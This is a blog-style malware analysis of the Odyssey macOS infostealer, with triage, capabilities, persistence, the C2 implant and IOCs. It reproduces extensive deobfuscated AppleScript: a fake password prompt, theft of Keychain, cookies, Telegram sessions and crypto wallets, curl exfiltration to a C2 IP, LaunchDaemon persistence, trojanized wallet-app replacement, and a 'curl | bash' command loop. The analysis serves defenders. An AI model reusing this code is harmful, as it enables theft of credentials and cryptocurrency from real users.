macOS combines power offered by a Unix system with security and applications developed by Apple. These devices are generally used as BYOD machine. They are popular among tech, creative, financial people. Widely adopted by freelancers and self-employed professionals. Most of the time no EDR, no AV, no behavioral enterprise defenses are in place.

In this post I’ll take a look at Odyssey macOS Infostealer. We will see how easy is to get an infection and how bad it can compromise the system.

Triage and initial analysis

I went to MalwareBazaar and query for some macOS samples. I came across an info stealer named Odyssey, well evolved and with worldwide distribution.

SHA256 hash: 8c7b876215d5afdaf702915e0258a27f867c7556f2142fce613ded03063c1f48

The file contains an AppleScript payload executed via the osascript utility.

-- First lines are
osascript -e 'run script ...

Malware is obfuscated. To make it readable I performed following steps:

  1. open it with VS Code editor and install AppleScript extension by idleberg to make it more readable
  2. replace every & return & with a newline
  3. remove "" quotes

A quick look to functions and variable names suggests that no particular advanced obfuscation was in place. Human labels were subsituted with 20 char long aplhanumeric random strings:

on f6354069633449886201(p5875745228280573332)

Author could have at least reused same variable names in local scopes to avoid “replace all” and slowing down deobfuscation process. But this was not done.

  1. reverse a few handlers manually
  2. feed the malware to LLM to automate deobfuscation process
  3. review LLM work to exclude errors

Here you have the code in a readable format ready to be analyzed.

-- an helper in the payload
on mkdir_p(folder)
    try
        set quotedFolder to quoted form of (POSIX path of folder)
        do shell script "mkdir -p " & quotedFolder
    end try
end mkdir_p

In the end, I setup a macOS VM for eventual dynamic analysis. And to see in a live environment how the malware behaves.

Obfuscation and anti-reversing

Malware obfuscation is light. No other antitampering and antireversing protection are implemented.

We will see later for example that:

  • malware saves internal state through disk files (no fileless)
  • malware doesn’t take particular care to clean up artifacts it manages
  • malware setup socks5 proxies to enable later botnet capabilities (continuous streams of data are suspicious and easy to spot)

This is another hint for us: malware operators are confident their targets have poorly protected machines where RAT will survive undisturbed.

Another interesting point: Living-off-the-land binaries (LOLBins) such as osascript and bash allow to run the agents circumventing Gatekeeper and other native protections.

Capabilities

Malware is mainly targeting people dealing with cryptocurrencies. The goal is to get access to wallets and seeds. But it also allows further session hijacking and extortion attempts thanks to stolen sensitive data.

Reviewing the malware’s main routine reveals:

System enumeration

-- Temporary folder for exfiltration
set tempFolderName to (random number from 10000 to 100000) as text
set tempPath to "/tmp/" & tempFolderName & "/"
-- Dump hardware/software info
try
	set sysInfo to do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"
	write_file(sysInfo, tempPath & "hardware")
end try

Credential phishing

Collected via repeated fake permission dialogs (prompt fatigue):

repeat
    set dialog_result to display dialog "Enter your password to continue." ¬
        default answer "" ¬
        with icon caution ¬
        buttons {"Continue"} ¬
        default button "Continue" ¬
        giving up after 150 ¬
        with title "Permission Required to Install This Application" ¬
        with hidden answer
    set entered_password to text returned of dialog_result
    if check_password(username, entered_password) then
        return entered_password
    end if
end repeat

Data exfiltration

  • Apple Notes
  • Safari cookies
  • Keychain files
  • Desktop and document files (“txt”, “pdf”, “docx”, “wallet”, “key”, “keys”, “doc”, “jpeg”, “png”, “kdbx”, “rtf”, “jpg”, “seed”)
  • Installed applications enumeration
  • Telegram session
  • Browser profiles and cookies (Firefox and chromium browsers)
  • Wallets and crypto files, seeds, browser extensions data

Collected data are moved to a staging folder and finally zipped and sent to C2.

Apple Notes & Safari cookies

-- Steal Apple Notes & Safari cookies
set notesDBPath to appSupportPath & "Group Containers/group.com.apple.notes/NoteStore.sqlite"
copy_file(notesDBPath, tempPath & "finder/NoteStore.sqlite")
copy_file(notesDBPath & "-wal", tempPath & "finder/NoteStore.sqlite-wal")
copy_file(notesDBPath & "-shm", tempPath & "finder/NoteStore.sqlite-shm")
copy_file(appSupportPath & "Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies", tempPath & "finder/Cookies.binarycookies")
copy_file(appSupportPath & "Cookies/Cookies.binarycookies", tempPath & "finder/saf1")

The logic for stealing sensitive documents is duplicated in a conditionally executed function (controlled by a boolean in the main handler). This suggests the stealing process has been expanded incrementally across versions without paying too much attention to code cleanup.

tell application "Finder"
	
	-- Copy Safari Cookies from home folder
	try
		set cookiesPath to (path to home folder as text) & "Library:Cookies:"
		duplicate file (cookiesPath & "Cookies.binarycookies") to folder finderFolder with replacing
		set name of result to "saf1"
	end try
	
	-- Copy Safari Cookies from Container folder
	set safariContainerPath to (path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:"
	try
		duplicate file "Cookies.binarycookies" of folder safariContainerPath to folder finderFolder with replacing
	end try
	
	-- Copy Notes database files
	set notesPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
	try
		set notesFolder to folder notesPath
		set notesFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
		repeat with noteFile in notesFiles
			try
				duplicate (file noteFile of notesFolder) to folder finderFolder with replacing
			end try
		end repeat
	end try
	
	-- Copy Notes media attachments
	set accountsPath to notesPath & "Accounts:"
	try
		set accountsFolder to folder accountsPath
		set accountFolders to every folder of accountsFolder
		repeat with account in accountFolders
			set mediaPath to accountsPath & name of account & ":Media:"
			set mediaFolders to every folder of (folder mediaPath)
			repeat with mediaSubFolder in mediaFolders
				set subFolders to every folder of (folder (mediaPath & name of mediaSubFolder))
				repeat with leafFolder in subFolders
					set mediaFiles to every file of leafFolder
					repeat with mediaFile in mediaFiles
						try
							set fileSize to size of mediaFile as integer
							set totalMediaSize to totalMediaSize + fileSize
							if totalMediaSize < 12 * 1024 * 1024 then
								duplicate mediaFile to notesMediaFolder with replacing
							else
								exit repeat
							end if
						end try
					end repeat
				end repeat
			end repeat
		end repeat
	end try
	
	-- Copy Safari Form Values
	try
		set safariFormsPath to (path to library folder from user domain as text) & "Safari:"
		duplicate (file "Form Values" of folder safariFormsPath) to finderFolder with replacing
	end try

Keychain files

try
	set keychainPath to (path to library folder from user domain as text) & "Keychains:" & hardwareUUID
	duplicate folder keychainPath to finderFolder with replacing
end try

Sensitive documents

-- File types to collect from Desktop/Documents
set allowedExtensions to {"txt", "pdf", "docx", "wallet", "key", "keys", "doc", "jpeg", "png", "kdbx", "rtf", "jpg", "seed"}


-- Copy Desktop and Documents files
try
	set desktopFiles to every file of desktop
	set documentFiles to every file of folder "Documents" of (path to home folder)
	repeat with f in (desktopFiles & documentFiles)
		set ext to name extension of f
		if ext is in allowedExtensions then
			set fileSize to size of f
			if (totalDesktopDocSize + fileSize) < 10 * 1024 * 1024 then
				try
					duplicate f to folder finderFolder with replacing
					set totalDesktopDocSize to totalDesktopDocSize + fileSize
				end try
			else
				exit repeat
			end if
		end if
	end repeat
end try

Installed applications enumeration

-- Installed software list
try
	set installedApps to ""
	set appsList to list folder "/Applications"
	repeat with appName in appsList
		set installedApps to installedApps & appName
	end repeat
	write_file(installedApps, tempPath & "installedSoft")
end try

Stealing telegram session

on steal_telegram_session(stagingBasePath, homeDir)
	try
		-- Source Telegram Desktop data directory
		set telegramTdataPath to homeDir & "Telegram Desktop/tdata/"

		-- Destination folder controlled by malware
		set outputTGPath to stagingBasePath & "tg/"

		-- Copy main encryption key file
		copy_file(telegramTdataPath & "key_datas", outputTGPath & "key_datas")

		-- List all files/folders inside tdata
		set tdataEntries to list folder telegramTdataPath without invisibles

		-- Telegram stores session folders in pairs: <hex> and <hex>s
		-- Collect base folder names that have a matching "s" folder
		set sessionFolders to {}

		repeat with entryName in tdataEntries
			set sVariant to entryName & "s"
			if sVariant is in tdataEntries then
				copy entryName to end of sessionFolders
			end if
		end repeat

		-- For each session folder:
		-- steal both the "s" and "maps" subfolders
		repeat with sessionID in sessionFolders
			copy_file(telegramTdataPath & sessionID & "s", outputTGPath & sessionID & "s")
			copy_file(telegramTdataPath & sessionID & "/maps", outputTGPath & sessionID & "/maps")
		end repeat

	end try
end steal_telegram_session

Browser profiles and cookies exfiltration

Here I show the function to steal Chromium profiles. The list of extension to steal is huge and is truncated.

-- Common library paths
set libraryPath to stagingBasePath & "/Library/"
set appSupportPath to libraryPath & "Application Support/"

-- Define Chromium-based browser paths
set browsersToSteal to {{"Chrome", appSupportPath & "Google/Chrome/"},
						 {"Brave", appSupportPath & "BraveSoftware/Brave-Browser/"},
						 {"Edge", appSupportPath & "Microsoft Edge/"},
						 {"Vivaldi", appSupportPath & "Vivaldi/"},
						 {"Opera", appSupportPath & "com.operasoftware.Opera/"},
						 {"OperaGX", appSupportPath & "com.operasoftware.OperaGX/"},
						 {"Chrome Beta", appSupportPath & "Google/Chrome Beta/"},
						 {"Chrome Canary", appSupportPath & "Google/Chrome Canary/"},
						 {"Chromium", appSupportPath & "Chromium/"},
						 {"Chrome Dev", appSupportPath & "Google/Chrome Dev/"},
						 {"Arc", appSupportPath & "Arc/User Data/"},
						 {"CocCoc", appSupportPath & "CocCoc/Browser/"}}



on steal_chromium_profiles(baseOutputDir, browserRoots, includeHistory)
    -- Huge list of Chrome extension IDs (mostly crypto wallets)
    set walletExtensionIDs to {\ldinpeekobnhjjdofggfgjlcehhmanlj\, \nphplpgoakhhjchkkhmiggakijnkhfnd\, \jbkgjmpfammbgejcpedggoefddacbdia\, \fccgmnglbhajioalokbcidhcaikhlcpm\, \nebnhfamliijlghikdgcigoebonmoibm\, \fdcnegogpncmfejlfnffnofpngdiejii\, \mfhbebgoclkghebffdldpobeajmbecfk\,
    ...
    \ojggmchlghnjlapmfbnjholfjkiidbch\, \dlcobpjiigpikoobohmabehhmhfoodbb\, \kkpllkodjeloidieedojogacfhpaihoh\}
    -- Files to steal from each profile
    set targetFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}

    if includeHistory is true then
        set targetFiles to targetFiles & {"/History"}
    end if

    repeat with browserEntry in browserRoots
        -- Example output: <base>/chromium/Chrome_
        set browserOutDir to baseOutputDir & "chromium/" & item 1 of browserEntry & "_"

        try
            -- Enumerate profile folders (Default, Profile 1, etc)
            set profiles to list folder item 2 of browserEntry without invisibles

            repeat with profileName in profiles

                if profileName is "Default" or profileName contains "Profile" then

                    repeat with target in targetFiles

                        set sourcePath to (item 2 of browserEntry & profileName & target)

                        -- Chrome moved cookies under Network/
                        if target is "/Network/Cookies" then
                            set target to "/Cookies"
                        end if

                        if target is "/Local Extension Settings/" then

                            -- Recursively copy only matching extension IDs
                            copy_matching_subfolders_recursive(sourcePath, browserOutDir & profileName, walletExtensionIDs, false, priorityExtensions)

                        else if target is "/IndexedDB/" then

                            -- Same but deeper recursion
                            copy_matching_subfolders_recursive(sourcePath, browserOutDir & profileName, walletExtensionIDs, true, priorityExtensions)

                        else

                            -- Plain file copy (Login Data, Cookies, Web Data, History)
                            set destPath to browserOutDir & profileName & target
                            copy_file(sourcePath, destPath)

                        end if
                    end repeat
                end if
            end repeat
        end try
    end repeat
end steal_chromium_profiles

Wallets and crypto

-- Define cryptocurrency wallets to steal
set walletsToSteal to {{"Electrum", stagingBasePath & "/.electrum/wallets/"},
					   {"Coinomi", appSupportPath & "Coinomi/wallets/"},
					   {"Exodus", appSupportPath & "Exodus/"},
					   {"Atomic", appSupportPath & "atomic/Local Storage/leveldb/"},
					   {"Wasabi", stagingBasePath & "/.walletwasabi/client/Wallets/"},
					   {"Ledger_Live", appSupportPath & "Ledger Live/"},
					   {"Monero", stagingBasePath & "/Monero/wallets/"},
					   {"Bitcoin_Core", appSupportPath & "Bitcoin/wallets/"},
					   {"Litecoin_Core", appSupportPath & "Litecoin/wallets/"},
					   {"Dash_Core", appSupportPath & "DashCore/wallets/"},
					   {"Electrum_LTC", stagingBasePath & "/.electrum-ltc/wallets/"},
					   {"Electron_Cash", stagingBasePath & "/.electron-cash/wallets/"},
					   {"Guarda", appSupportPath & "Guarda/"},
					   {"Dogecoin_Core", appSupportPath & "Dogecoin/wallets/"},
					   {"Trezor_Suite", appSupportPath & "@trezor/suite-desktop/"},
					   {"Sparrow", stagingBasePath & "/.sparrow/wallets/"}}

A map of wallets and standard wallet path is created. Wallets are copied in the folder to exfiltrate under deskwallets folder.

Exfiltration routine

on exfiltrate_data(serverURL, username, repeatCount)
	repeat with attempt from 1 to 10
		try
			-- Build curl command to POST /tmp/out.zip with custom headers
			set curlCommand to "curl --connect-timeout 120 --max-time 300 -X POST " & ¬
				"-H \"buildid: c5e2f38eb1d94f7faf1e3454771c8575\" " & ¬
				"-H \"username: " & username & "\" " & ¬
				"-H \"repeat: " & repeatCount & "\" " & ¬
				"-H \"cid: \" " & ¬
				"--data-binary @/tmp/out.zip " & serverURL & "/log"
			
			-- Execute the command
			do shell script curlCommand
			return -- exit function on success
		end try
		
		-- Wait 60 seconds before retrying
		delay 60
	end repeat
end exfiltrate_data


-- Zip everything
do shell script "ditto -c -k --sequesterRsrc " & tempPath & " /tmp/out.zip"
-- Exfiltrate
exfiltrate_data(attackerUsername, attackerHost, false)

Persistence

Trojanized crypto applications such as Trezor and Wallet were deployed. A C2 implant is decoded and installed as LaunchDaemon.

Password obtained via “prompt fatigue” is used to perform these tasks.

This is the function to drop C2 implant:

on install_core_agent(username, adminPassword, unusedParam)

	try
		-- Random launchd label
		set randomID to (random number from 10000 to 100000) as text
		set launchLabel to "com." & randomID

		-- Base64 encoded AppleScript payload (truncated)
		set base64Payload to "cnVuIHNjcmlwdCAiIiAmIHJldHVybiAmICJzZXQgYXBwX2lkIHRvIFwie..."

		-- Decode payload and wrap in osascript
		set decodedScriptCmd to "osascript -e " & quoted form of (do shell script "echo " & base64Payload & " | base64 -d")

		-- LaunchDaemon plist
		set plistXML to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
	<key>KeepAlive</key>
	<true/>
	<key>Label</key>
	<string>" & launchLabel & "</string>
	<key>ProgramArguments</key>
	<array>
		<string>/bin/bash</string>
		<string>-c</string>
		<string>" & decodedScriptCmd & "</string>
	</array>
	<key>UserName</key>
	<string>" & username & "</string>
	<key>RunAtLoad</key>
	<true/>
	<key>SessionCreate</key>
	<true/>
</dict>
</plist>"

		-- Write plist to temp
		write_file(plistXML, "/tmp/starter")

		-- Install LaunchDaemon (requires sudo)
		do shell script "echo " & quoted form of adminPassword & " | sudo -S cp /tmp/starter /Library/LaunchDaemons/" & launchLabel & ".plist"

		-- Load daemon
		try
			do shell script "echo " & quoted form of adminPassword & " | sudo -S launchctl bootstrap system /Library/LaunchDaemons/" & launchLabel & ".plist"
		on error
			-- Fallback: run payload in background
			do shell script "nohup " & decodedScriptCmd & " >/dev/null 2>&1 &"
		end try

	end try
end install_core_agent

Here is the logic to deploy trojanized applications.

on drop_application(adminPassword, unusedParam, baseURL, appName, assetName)
	try
		-- Target application path
		set targetAppPath to "/Applications/" & appName & ".app"

		-- Temp downloaded zip
		set tempZipPath to "/tmp/" & assetName

		-- Remote asset URL
		set remoteZipURL to baseURL & "/otherassets/" & assetName

		-- Check that the application exists
		list folder POSIX file targetAppPath

		-- Download replacement bundle
		do shell script "curl " & quoted form of remoteZipURL & " -o " & quoted form of tempZipPath

		-- Kill running app (best effort)
		try
			do shell script "pkill " & quoted form of appName
		end try

		-- Remove original app using sudo (password piped in)
		do shell script "echo " & quoted form of adminPassword & " | sudo -S rm -r " & quoted form of targetAppPath

		delay 0.01

		-- Extract downloaded archive into /Applications
		do shell script "ditto -x -k " & quoted form of tempZipPath & " /Applications"
	end try
end drop_application

if storedPassword is not equal to "" then
	drop_application(stagingBasePath, storedPassword, attackerHost, "Ledger Live", "ledger.zip")
	drop_application(stagingBasePath, storedPassword, attackerHost, "Ledger Wallet", "ledgerwallet.zip")
	drop_application(stagingBasePath, storedPassword, attackerHost, "Trezor Suite", "trezor.zip")
end if

C2 Implant

The malware also decodes and drops a base64 applescript program that is the implant for Odyssey stealer C2.

The Odyssey C2 panel supports multiple operators and follows a malware-as-a-service model.

Payload is easy to decrypt:

cat payload | base64 -d | sha256sum

SHA256 hash: cd199ada759eec2cd007e025b7e4d60c7aedab716c9cf929fdf3ea03515b9603

Agent provides:

  • interactive shell
  • payload execution
  • setup socks5 proxy, infected node can be further used as a botnet relay.
-- Main command loop
repeat
	set last_action to read_file(last_action_file)
	set commands to fetch_commands(c2_host, bot_id)
	if commands is "not" then
		uninstall_bot(base_path)
		return
	end if
	set cmd_type to item 2 of commands
	set cmd_payload to item 3 of commands
	-- Handle uninstall
	if cmd_type is "uninstall" then
		uninstall_bot(base_path)
		return
	end if

    -- Handle repeating shell commands
    if cmd_type is "repeat" then
    	try
    		set repeat_url to c2_host & "/api/v1/bot/repeat/" & username
    		do shell script "curl -s " & quoted form of repeat_url & " | bash &"
    	end try
    end if
    -- Execute arbitrary shell command
    if cmd_type is "doshell" then
    	try
    		do shell script cmd_payload
    	end try
    end if
    -- Enable SOCKS5 proxy (downloads and runs /tmp/socks)
    if cmd_type is "enablesocks5" then
    	try
    		set socks_url to c2_host & "/otherassets/socks"
    		do shell script "curl -sS --connect-timeout 120 --max-time 300 -o /tmp/socks " & quoted form of socks_url
    		do shell script "chmod +x /tmp/socks"
    		do shell script "/tmp/socks > /dev/null 2>&1 & disown"
    	end try
    end if

	delay 60
end repeat

As i said in the obfuscation section, artifacts indicating malware presence are leaved in the filesystem. See for example the uninstall routine.

-- Mark the bot as uninstalled and exit
on uninstall_bot(base_path)
	write_file(base_path & "/.uninstalled", "+")
	do shell script "exit 0"
end uninstall_bot

OSINT

This particular malware occurrence is distributed among the others as a trojanized macOS application found on haxmac.cc. A website offering cracked applications.

OSINT and Google dorking reveal digital footprints connected to gaming, avatars, violence video websites, and other minor infostealing activity on Windows systems.

IOCs (Indicators of Compromise)

A list of IOCs seen in the sample:

SHA256

  • Exfiltration applescript: 8c7b876215d5afdaf702915e0258a27f867c7556f2142fce613ded03063c1f48
  • C2 Implant: cd199ada759eec2cd007e025b7e4d60c7aedab716c9cf929fdf3ea03515b9603

Network

  • C2 ip address: 217.119.139.117

Network requests:

  • <c2_ip>/log
  • <c2_ip>/otherassets
  • <c2_ip>/otherassets/socks
  • <c2_ip>/api/v1/bot/joinsystem/
  • <c2_ip>/api/v1/bot/actions/
  • <c2_ip>/api/v1/bot/repeat/

Files

  • /users/*/.chost
  • /users/*/.username
  • /users/*/.uninstall
  • /users/*/.botid
  • /users/*/.lastaction
  • /tmp/<random_number>/hardware
  • /tmp/<random_number>/pwd
  • /tmp/<random_number>/finder
  • /tmp/<random_number>/installedSoft
  • /tmp/<random_number>/kc
  • /tmp/<random_number>/tg
  • /tmp/<random_number>/deskwallets
  • /tmp/<random_number>/gecko
  • /tmp/<random_number>/chromium
  • /tmp/out.zip
  • /tmp/starter /Library/LaunchDaemons/com.<random_id>.plist
  • /tmp/socks

Conclusion

Odyssey Stealer malware diffusion persists. One of the main reasons is the mix of high valuable targets in poor protected environments. In this particular case cryptocurrency assets exfiltration is the final goal. Real-time monitoring and behavioral detection are increasingly necessary, especially in BYOD environments where sensitive data is at risk.